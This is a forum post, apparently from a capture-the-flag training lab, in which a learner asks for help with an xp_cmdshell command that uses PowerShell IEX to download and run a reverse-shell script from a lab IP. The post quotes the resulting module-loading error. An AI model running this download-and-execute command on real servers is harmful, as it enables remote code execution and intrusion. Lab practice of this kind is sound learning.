Starting Point - Foothold Section shell.ps1 Issues

Hello,

I’m having an issue when running the following command from the MS SQL server:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.68/shell.ps1\");"

The output I’m receiving is the following:

New-Object : The ‘New-Object’ command was found in the module ‘Microsoft.PowerShell.Utility’, but the module could not be loaded. For more information, run ‘Import-Module Microsoft.PowerShell.Utility’.

At line:1 char:6

  • IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.68/she

  •  ~~~~~~~~~~                                                                  
    
    • CategoryInfo : ObjectNotFound: (New-Object:String) [], CommandNotFoundException

    • FullyQualifiedErrorId : CouldNotAutoloadMatchingModule

This output tells me that the MS SQL server is unable to load a PowerShell module that is needed to execute the script and without the reverse shell, I really don’t know how to install that module on the MS SQL host. Anyone experience this issue or have any other ideas?

Much appreciated!